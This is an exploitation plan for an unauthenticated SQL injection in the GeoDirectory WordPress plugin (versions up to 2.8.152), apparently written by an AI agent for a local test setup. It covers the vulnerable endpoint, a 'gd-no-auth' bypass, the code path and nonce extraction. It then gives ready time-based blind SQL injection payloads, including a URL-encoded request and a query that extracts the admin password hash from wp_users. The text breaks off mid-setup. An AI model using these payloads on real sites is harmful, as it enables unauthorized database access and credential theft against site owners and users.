GeoDirectory – WP Business Directory Plugin and Classified Listings Directory <= 2.8.152 - Unauthenticated SQL Injection

This plan details the process for exploiting a confirmed SQL injection vulnerability in the GeoDirectory plugin (versions <= 2.8.152).

1. Vulnerability Summary

The GeoDirectory plugin is vulnerable to an unauthenticated SQL injection. The flaw exists due to the "Fast AJAX" implementation and the way search/listing parameters are handled. The plugin provides a specialized AJAX dispatcher that allows certain actions to be executed with minimal WordPress overhead (bypassing full authentication/initialization). Input parameters like stype (Search Type) or gd_sort are used to dynamically build SQL queries without sufficient sanitization or the use of wpdb->prepare().

2. Attack Vector Analysis

• Endpoint: The site root /?gd-ajax=1 or the AJAX endpoint /wp-admin/admin-ajax.php.
• Vulnerable Action: geodir_ajax_search (Unauthenticated) or geodir_get_listings.
• Fast AJAX Bypass: By including gd-no-auth=1 in the request, the plugin executes the do_gd_ajax method early in the plugins_loaded hook, bypassing many standard WordPress security filters.
• Vulnerable Parameter: stype (Search Type) or gd_sort.
• Authentication: None required (Unauthenticated).
• Preconditions: The GeoDirectory plugin must be active. A default custom post type (usually gd_place) is typically present.

3. Code Flow

1. Entry Point: includes/class-geodir-fast-ajax.php -> init().
2. The code checks for $_REQUEST['gd-ajax'] and $_REQUEST['gd-no-auth'].
3. Dispatcher: If both are set, it registers do_gd_ajax() to the plugins_loaded hook.
4. Action Trigger: do_gd_ajax() retrieves $_REQUEST['action'] and fires do_action( 'geodir_ajax_' . $action ).
5. Sink: The handler for geodir_ajax_search (inferred) processes the stype parameter.
6. SQL Execution: stype is passed to geodir_get_current_posttype() and subsequently used to build queries (e.g., in includes/class-geodir-query.php) that query specific custom tables (e.g., wp_geodir_gd_place_detail) without prepare().

4. Nonce Acquisition Strategy

While many search actions in GeoDirectory are public, some may require a search nonce.

1. Identify Shortcode: The plugin uses the [gd_search] shortcode to render search bars.
2. Setup Page: Create a page containing this shortcode to ensure all GeoDirectory scripts and nonces are loaded.
3. Extraction:
   • Navigate to the created page.
   • Use browser_eval to extract the nonce from the geodir_params object:
     browser_eval("window.geodir_params?.nonce")
4. Note: If the Fast AJAX gd-no-auth mechanism is used, the handler might bypass nonce verification entirely.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload targeting the stype parameter.

Step 1: Baseline Request
Confirm the endpoint is responsive.

• URL: /?gd-ajax=1&gd-no-auth=1&action=geodir_ajax_search&stype=gd_place
• Method: GET (or POST)

Step 2: Trigger Sleep (Injection)
Inject a SLEEP() command into the stype parameter.

• Payload: gd_place' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1
• Request:

  GET /?gd-ajax=1&gd-no-auth=1&action=geodir_ajax_search&stype=gd_place%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20%271%27%3D%271 HTTP/1.1
  Host: localhost
  

Step 3: Data Extraction (Boolean-based or Time-based)
To extract the admin's password hash:

• Payload: gd_place' AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0) AND '1'='1
• (ASCII 36 is $, which is the start of WordPress phpass hashes).

6. Test Data Setup

1. Activate Plugin: Ensure `geod